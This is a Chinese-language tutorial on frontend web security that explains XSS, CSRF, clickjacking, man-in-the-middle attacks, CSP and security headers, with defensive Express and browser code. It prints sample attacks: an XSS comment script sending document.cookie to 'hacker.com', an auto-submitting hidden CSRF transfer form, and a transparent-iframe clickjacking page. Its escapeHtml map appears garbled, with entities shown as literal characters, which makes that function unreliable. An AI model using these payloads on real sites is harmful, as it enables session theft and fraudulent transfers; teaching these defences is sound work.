前端安全是 Web 应用的第一道防线。本文从攻击者视角出发,用大白话讲透 XSS、CSRF、点击劫持等常见攻击手段,并提供可落地的防护方案。不讲虚的,只讲能用的。

1. 为什么前端安全这么重要

大白话:前端就像你家的大门,后端是保险柜。大门没锁好,小偷进来能偷走钥匙、撬开保险柜、甚至冒充你去银行取钱。

1.1 前端安全的三大痛点

痛点 大白话类比 技术后果
代码完全暴露 别人能看到你家门锁的构造图 攻击者可审计前端代码找漏洞
用户环境不可控 客人可能带着撬锁工具进你家 浏览器插件、控制台可篡改代码
数据传输可被劫持 快递员可能偷看包裹内容 HTTP 明文传输可被中间人窃听
真实案例:2011 年新浪微博 XSS 蠕虫事件

2011年6月28日,新浪微博遭受大规模 XSS 蠕虫攻击。攻击者利用微博的 XSS 漏洞,用户只要访问含有恶意代码的页面,就会自动关注指定账号并转发带毒微博。短短几小时内,数万用户中招,包括大量知名大V,成为国内影响最广的 XSS 攻击事件之一。

1.2 前端安全攻防体系

mindmap root((前端安全)) 注入攻击 XSS 跨站脚本 SQL 注入 命令注入 会话劫持 CSRF 跨站请求伪造 点击劫持 Session 劫持 数据安全 中间人攻击 敏感信息泄露 本地存储风险 防护体系 CSP 内容安全策略 HTTPS 加密传输 Same-Site Cookie 输入验证与转义

2. XSS 攻击:最常见的前端杀手

XSS (Cross-Site Scripting) 跨站脚本攻击,攻击者把恶意 JavaScript 代码注入到网页中。

大白话:就像有人在你家门上贴了张假告示"请把钥匙放门口",然后你真的照做了。

2.1 XSS 攻击的三种类型

graph LR A[用户输入恶意代码] --> B{存储位置} B -->|存到数据库| C[存储型 XSS] B -->|拼接到 URL| D[反射型 XSS] B -->|直接操作 DOM| E[DOM 型 XSS] C --> F[所有访问者中招] D --> G[点击恶意链接才中招] E --> H[本地 JS 执行恶意代码] style C fill:#fee2e2,stroke:#f87171,stroke-width:2px style D fill:#fef3c7,stroke:#fbbf24,stroke-width:2px style E fill:#dbeafe,stroke:#60a5fa,stroke-width:2px
类型 攻击过程 危害等级 防御难度
存储型 XSS 恶意代码存到数据库,其他用户访问时执行 极高(持久化攻击) 中等
反射型 XSS 恶意代码在 URL 中,服务器直接返回执行 中等(需诱导点击) 简单
DOM 型 XSS 前端 JS 直接把不可信数据插入 DOM 中等 较难(纯前端)

2.2 XSS 攻击实例

场景 1:评论区存储型 XSS

<!-- 攻击者提交的评论内容 -->
<script>
  // 窃取 Cookie 并发送到黑客服务器
  fetch('https://hacker.com/steal?cookie=' + document.cookie);
</script>

<!-- 错误的渲染方式(危险!) -->
<div class="comment">
  <!-- 直接插入用户输入,脚本会执行 -->
  <%= comment.content %>
</div>

防御方案 1:HTML 转义

// 转义 HTML 特殊字符
function escapeHtml(str) {
  const map = {
    '&': '&',
    '<': '<',
    '>': '>',
    '"': '"',
    "'": ''',
    '/': '/'
  };
  return str.replace(/[&<>"'/]/g, (char) => map[char]);
}

// 安全渲染
const safeContent = escapeHtml(comment.content);
document.getElementById('comment').textContent = safeContent;

防御方案 2:使用安全 API

// 安全:使用 textContent(不会执行脚本)
element.textContent = userInput;

// 危险:使用 innerHTML(会执行脚本)
element.innerHTML = userInput;

// Vue/React 默认转义(安全)
// Vue
<div>{{ userInput }}</div>  // 自动转义

// React
<div>{userInput}</div>  // 自动转义

// 但使用 v-html / dangerouslySetInnerHTML 就危险了!
<div v-html="userInput"></div>  // 危险

2.3 DOM 型 XSS 特殊案例

// 危险代码:直接使用 URL 参数
const name = new URLSearchParams(location.search).get('name');
document.getElementById('welcome').innerHTML = `欢迎 ${name}`;

// 攻击链接:
// https://example.com?name=

// 安全代码:转义或使用 textContent
const name = new URLSearchParams(location.search).get('name');
document.getElementById('welcome').textContent = `欢迎 ${name}`;

3. CSRF 攻击:冒充你的身份干坏事

CSRF (Cross-Site Request Forgery) 跨站请求伪造,攻击者诱导用户在已登录的网站上执行非本意操作。

大白话:有人偷了你的银行 VIP 卡,虽然不知道密码,但可以用你的身份去银行办业务(因为银行认卡不认人)。

3.1 CSRF 攻击流程

sequenceDiagram participant 用户 participant 银行网站 participant 黑客网站 用户->>银行网站: 1. 登录成功 银行网站->>用户: 2. 返回 Cookie(会话凭证) Note over 用户,黑客网站: 用户保持登录状态访问了钓鱼网站 用户->>黑客网站: 3. 访问钓鱼页面 黑客网站->>银行网站: 4. 自动发起转账请求
(携带用户的 Cookie) 银行网站->>银行网站: 5. 验证 Cookie 有效 银行网站->>黑客网站: 6. 转账成功 黑客网站->>用户: 7. 显示"恭喜中奖"页面 用户->>用户: 钱没了

3.2 CSRF 攻击代码示例

<!-- 黑客网站的钓鱼页面 -->
<!DOCTYPE html>
<html>
<head>
  <title>恭喜中奖!</title>
</head>
<body>
  <h1>恭喜您获得 iPhone 15 Pro Max!</h1>
  <p>点击下方按钮领取奖品</p>

  <!-- 隐藏的恶意表单 -->
  <form id="attack" action="https://bank.com/transfer" method="POST" style="display:none">
    <input name="to" value="黑客账号">
    <input name="amount" value="10000">
  </form>

  <script>
    // 页面加载时自动提交表单
    document.getElementById('attack').submit();
  </script>
</body>
</html>

3.3 CSRF 防御方案

方案 1:CSRF Token(最常用)

// 后端:生成随机 Token 并存到 Session
app.get('/form', (req, res) => {
  const csrfToken = generateRandomToken(); // 生成随机 token
  req.session.csrfToken = csrfToken;
  res.render('form', { csrfToken });
});

// 前端:表单中包含 Token
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="<%= csrfToken %>">
  <input name="amount">
  <button>转账</button>
</form>

// 后端:验证 Token
app.post('/transfer', (req, res) => {
  if (req.body._csrf !== req.session.csrfToken) {
    return res.status(403).send('CSRF Token 验证失败');
  }
  // 执行转账逻辑
});

方案 2:SameSite Cookie(现代浏览器推荐)

// 后端设置 Cookie 时添加 SameSite 属性
res.cookie('sessionId', 'xxx', {
  httpOnly: true,     // 防止 JS 读取
  secure: true,       // 只通过 HTTPS 传输
  sameSite: 'strict'  // 禁止跨站请求携带 Cookie
});

// SameSite 三个值的区别:
// - Strict:完全禁止跨站请求携带(最安全,但用户体验差)
// - Lax:允许 GET 跨站请求(默认值,平衡安全和体验)
// - None:允许所有跨站请求(需配合 Secure 使用)

方案 3:验证 Referer / Origin 头

// 后端验证请求来源
app.post('/transfer', (req, res) => {
  const referer = req.headers.referer || '';
  const origin = req.headers.origin || '';

  // 检查请求是否来自可信域名
  if (!referer.startsWith('https://bank.com') &&
      !origin.startsWith('https://bank.com')) {
    return res.status(403).send('请求来源不可信');
  }

  // 执行转账逻辑
});
Referer 验证的局限性
  • 用户可能禁用 Referer(隐私设置)
  • 某些代理服务器会删除 Referer
  • HTTPS → HTTP 跳转时浏览器不发送 Referer

建议:结合 CSRF Token 和 SameSite Cookie 多重防护。

4. 点击劫持:看得见摸不着的陷阱

点击劫持 (Clickjacking) 又称界面伪装攻击,攻击者用透明 iframe 覆盖正常页面,诱导用户点击。

大白话:你以为自己在点"取消订阅垃圾邮件",实际上点的是"转账 1 万元"按钮(按钮被透明覆盖了)。

4.1 点击劫持攻击演示

<!-- 黑客网站的钓鱼页面 -->
<!DOCTYPE html>
<html>
<head>
  <style>
    iframe {
      position: absolute;
      top: 0;
      left: 0;
      width: 100%;
      height: 100%;
      opacity: 0.0001; /* 几乎透明,用户看不见 */
      z-index: 9999;   /* 覆盖在最上层 */
    }

    #fake-button {
      position: absolute;
      top: 200px;
      left: 300px;
      font-size: 24px;
      color: red;
    }
  </style>
</head>
<body>
  <!-- 用户看到的假按钮 -->
  <button id="fake-button">点击领取 iPhone!</button>

  <!-- 透明的真实银行页面(转账按钮正好在假按钮位置) -->
  <iframe src="https://bank.com/transfer"></iframe>
</body>
</html>

4.2 点击劫持防御方案

方案 1:X-Frame-Options 响应头

// 后端设置 HTTP 响应头,禁止页面被嵌入 iframe
app.use((req, res, next) => {
  // DENY:完全禁止被嵌入
  res.setHeader('X-Frame-Options', 'DENY');

  // 或者 SAMEORIGIN:只允许同域嵌入
  // res.setHeader('X-Frame-Options', 'SAMEORIGIN');

  next();
});

方案 2:CSP frame-ancestors(更灵活)

// 使用 CSP 精确控制允许嵌入的来源
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    "frame-ancestors 'none'"  // 禁止所有嵌入
    // "frame-ancestors 'self'"  // 只允许同域
    // "frame-ancestors https://trusted.com"  // 允许指定域名
  );
  next();
});

方案 3:前端 JS 检测(辅助防护)

// 检测页面是否被嵌入 iframe
if (window.self !== window.top) {
  // 页面被嵌入了,跳转到正常页面
  window.top.location = window.self.location;

  // 或者直接隐藏内容
  document.body.style.display = 'none';
  alert('检测到页面被非法嵌入,请直接访问我们的官网!');
}

5. 中间人攻击:偷听你的秘密

中间人攻击 (Man-in-the-Middle, MITM) 攻击者劫持客户端和服务器之间的通信。

大白话:你给朋友寄信,邮递员偷偷拆开看了内容,还可能篡改后再封回去。

5.1 中间人攻击场景

sequenceDiagram participant 用户 participant 黑客 participant 服务器 用户->>黑客: 1. HTTP 请求
(明文传输) Note over 黑客: 2. 拦截并记录
用户名、密码 黑客->>服务器: 3. 转发请求给服务器 服务器->>黑客: 4. 返回响应 Note over 黑客: 5. 可能篡改响应
(如插入恶意脚本) 黑客->>用户: 6. 转发响应给用户 Note over 用户,服务器: 用户毫无察觉,数据已泄露
攻击场景 大白话 技术手段
公共 WiFi 劫持 咖啡厅的免费 WiFi 是黑客搭建的 ARP 欺骗、DNS 劫持
运营商劫持 网络服务商偷偷插入广告 HTTP 劫持、流量注入
代理服务器 翻墙工具可能记录你的数据 明文代理、伪造证书

5.2 HTTPS 防御原理

graph LR A[HTTP 明文传输] -->|升级| B[HTTPS 加密传输] B --> C[SSL/TLS 握手] C --> D[数字证书验证] D --> E[协商加密算法] E --> F[生成会话密钥] F --> G[加密通信] G --> H[ 数据加密] G --> I[ 身份认证] G --> J[ 完整性校验] style B fill:#fee2e2,stroke:#f87171,stroke-width:2px style H fill:#d1fae5,stroke:#10b981,stroke-width:2px style I fill:#d1fae5,stroke:#10b981,stroke-width:2px style J fill:#d1fae5,stroke:#10b981,stroke-width:2px

5.3 强制 HTTPS 最佳实践

// 1. 后端强制跳转 HTTPS
app.use((req, res, next) => {
  if (req.protocol !== 'https') {
    return res.redirect(301, `https://${req.hostname}${req.url}`);
  }
  next();
});

// 2. 设置 HSTS 响应头(防止降级攻击)
app.use((req, res, next) => {
  res.setHeader(
    'Strict-Transport-Security',
    'max-age=31536000; includeSubDomains; preload'
    // max-age: 一年内强制 HTTPS
    // includeSubDomains: 子域名也强制 HTTPS
    // preload: 加入浏览器预加载列表
  );
  next();
});
<!-- 3. 前端:升级所有 HTTP 请求为 HTTPS -->
<meta http-equiv="Content-Security-Policy" content="upgrade-insecure-requests">
免费 SSL 证书推荐
  • Let's Encrypt:免费、自动续期、支持通配符证书
  • Cloudflare:免费 CDN + SSL 证书一站式方案
  • 阿里云/腾讯云:首年免费 SSL 证书

6. CSP 内容安全策略:终极防护罩

CSP (Content Security Policy) 是浏览器的安全白名单机制,限制页面可以加载哪些资源。

大白话:就像小区门禁,只有白名单上的快递员才能进入,其他一律拦截。

6.1 CSP 工作原理

graph TB A[网页加载资源] --> B{检查 CSP 策略} B -->|在白名单内| C[ 允许加载] B -->|不在白名单| D[ 拦截并报告] C --> E[正常渲染] D --> F[控制台警告] D --> G[向服务器发送报告] style C fill:#d1fae5,stroke:#10b981,stroke-width:2px style D fill:#fee2e2,stroke:#f87171,stroke-width:2px

6.2 CSP 配置示例

// 后端设置 CSP 响应头
app.use((req, res, next) => {
  res.setHeader(
    'Content-Security-Policy',
    [
      "default-src 'self'",                    // 默认只允许同域资源
      "script-src 'self' https://cdn.example.com",  // JS 只能来自同域和指定 CDN
      "style-src 'self' 'unsafe-inline'",      // CSS 允许内联样式(慎用)
      "img-src 'self' data: https:",           // 图片允许同域、Data URI、HTTPS
      "font-src 'self' https://fonts.gstatic.com",  // 字体来源
      "connect-src 'self' https://api.example.com", // AJAX 请求来源
      "frame-ancestors 'none'",                // 禁止被嵌入 iframe
      "base-uri 'self'",                       // 限制  标签
      "form-action 'self'",                    // 表单只能提交到同域
      "upgrade-insecure-requests"              // HTTP 自动升级为 HTTPS
    ].join('; ')
  );
  next();
});
<!-- 或者用 meta 标签设置(优先级低于响应头) -->
<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self' https://cdn.example.com">

6.3 CSP 常用指令

指令 作用 推荐值
default-src 默认策略(兜底) 'self'
script-src 限制 JS 来源 'self' https://cdn.com
style-src 限制 CSS 来源 'self' 'unsafe-inline'
img-src 限制图片来源 'self' data: https:
connect-src 限制 AJAX/WebSocket 'self' https://api.com
frame-ancestors 限制页面嵌入 'none'
避免使用 unsafe-inline 和 unsafe-eval
  • 'unsafe-inline':允许内联脚本/样式(容易被 XSS 利用)
  • 'unsafe-eval':允许 eval()(极度危险)

替代方案:使用 nonce 或 hash 白名单

6.4 CSP nonce 白名单(推荐)

// 后端生成随机 nonce
const crypto = require('crypto');
const nonce = crypto.randomBytes(16).toString('base64');

// 设置 CSP 响应头
res.setHeader(
  'Content-Security-Policy',
  `script-src 'nonce-${nonce}'`
);

// 渲染页面时传入 nonce
res.render('index', { nonce });
<!-- 前端:只有带正确 nonce 的脚本才能执行 -->
<script nonce="<%= nonce %>">
  console.log('这个脚本可以执行');
</script>

<script>
  console.log('这个脚本会被 CSP 拦截');
</script>

7. 其他安全最佳实践

7.1 敏感信息保护

场景 错误做法 正确做法
存储 Token localStorage(易被 XSS 窃取) HttpOnly Cookie + Secure
敏感信息 URL 参数(会被日志记录) POST 请求体 + HTTPS
第三方脚本 直接引入未知来源 Subresource Integrity (SRI)
用户输入 直接信任并使用 验证 + 转义 + 白名单

7.2 Subresource Integrity(子资源完整性)

<!-- 使用 SRI 确保 CDN 资源未被篡改 -->
<script
  src="https://cdn.jsdelivr.net/npm/vue@3.3.4/dist/vue.global.js"
  integrity="sha384-xxx"
  crossorigin="anonymous"
></script>

<!-- 如果资源被篡改,hash 不匹配,浏览器拒绝执行 -->

7.3 安全响应头汇总

// Node.js Express 安全响应头配置
const helmet = require('helmet');

app.use(helmet({
  // CSP 内容安全策略
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "https://cdn.example.com"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", "data:", "https:"],
      connectSrc: ["'self'", "https://api.example.com"],
      fontSrc: ["'self'", "https://fonts.gstatic.com"],
      frameSrc: ["'none'"],
      frameAncestors: ["'none'"]
    }
  },

  // HSTS 强制 HTTPS
  hsts: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true
  },

  // 禁止 MIME 类型嗅探
  noSniff: true,

  // 启用 XSS 过滤器(已废弃,但部分浏览器仍支持)
  xssFilter: true,

  // 禁止被 iframe 嵌入
  frameguard: {
    action: 'deny'
  },

  // 隐藏 X-Powered-By 响应头(防信息泄露)
  hidePoweredBy: true
}));

8. 前端安全检查清单

XSS 防护清单
  • 用户输入全部转义(textContent 或转义函数)
  • 避免使用 innerHTML、eval、Function 构造函数
  • Vue/React 避免 v-html / dangerouslySetInnerHTML
  • 配置严格的 CSP 策略
  • 第三方库使用 SRI 校验
CSRF 防护清单
  • 敏感操作使用 CSRF Token
  • Cookie 设置 SameSite=Strict 或 Lax
  • 验证 Referer / Origin 头
  • 重要操作二次确认(如输入密码)
数据安全清单
  • 全站 HTTPS + HSTS
  • 敏感信息不存 localStorage(用 HttpOnly Cookie)
  • URL 中不传敏感参数(用 POST)
  • 前端不做安全校验(后端必须二次验证)
  • 日志脱敏(密码、Token 等不记录)
点击劫持防护清单
  • 设置 X-Frame-Options: DENY
  • 配置 CSP frame-ancestors 'none'
  • 前端 JS 检测 iframe 嵌入

9. 总结

前端安全是一个系统工程,没有银弹,需要多层防护:

  1. XSS 防护是前端安全的重中之重,永远不要相信用户输入
  2. CSRF Token + SameSite Cookie 是防御 CSRF 的标配
  3. HTTPS + HSTS 是数据传输安全的基础
  4. CSP 是终极防护罩,能拦截大部分注入攻击
  5. 前端验证仅为体验,后端验证才是安全保障
血的教训

安全无小事,一个疏忽可能酿成大祸。2011 年新浪微博 XSS 蠕虫事件中,攻击代码仅十几行,却在几小时内感染数万账号,造成严重的品牌信任危机。前端安全绝非小事,任何用户输入都不可信。

延伸阅读
  • OWASP Top 10: https://owasp.org/www-project-top-ten/
  • MDN Web 安全: https://developer.mozilla.org/zh-CN/docs/Web/Security
  • CSP 策略生成器: https://report-uri.com/home/generate
  • 安全响应头检测: https://securityheaders.com/